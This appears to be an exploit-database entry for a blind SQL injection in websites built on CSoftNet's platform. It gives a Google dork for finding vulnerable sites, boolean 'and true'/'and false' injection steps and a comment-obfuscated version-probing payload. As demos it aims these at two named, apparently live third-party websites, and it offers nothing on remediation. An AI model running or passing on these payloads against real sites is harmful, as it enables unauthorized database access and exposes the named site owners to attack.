#Exploit Title: CSoftNet – Blind SQL Injection vulnerability
#Date: 2020-07-10
#Exploit Author: Behrouz Mansoori
#Vendor Homepage: http://www.csoftnet.com/
#Google Dork: "Web Solution by CSoftNet"
#Category:webapps
#Tested On: windows 10, Firefox
Proof of Concept:
Search google Dork: "Web Solution by CSoftNet"
[+] First add "and true" and then "and false" to the end of the link :
* Target.com/index.php?lang=1 true
* Target.com/index.php?lang=1 false
### Demo 1:
* http://detroves.com/beachhotels_more.php?id=245%20and%20true
* http://detroves.com/beachhotels_more.php?id=245%20and%20false
* http://detroves.com/beachhotels_more.php?id=245%20and%20/*!12345substring(@@version,1,1)*/=5
### Demo 2:
* http://www.garwinmurray.com/article-details.php?id=8%20and%20true
* http://www.garwinmurray.com/article-details.php?id=8%20and%20false
* http://www.garwinmurray.com/article-details.php?id=8%20and%20/*!12345substring(@@version,1,1)*/=5
*********************************************************
#Discovered by: Behrouz mansoori
#Instagram: Behrouz_mansoori
#Email: mr.mansoori@yahoo.com
*********************************************************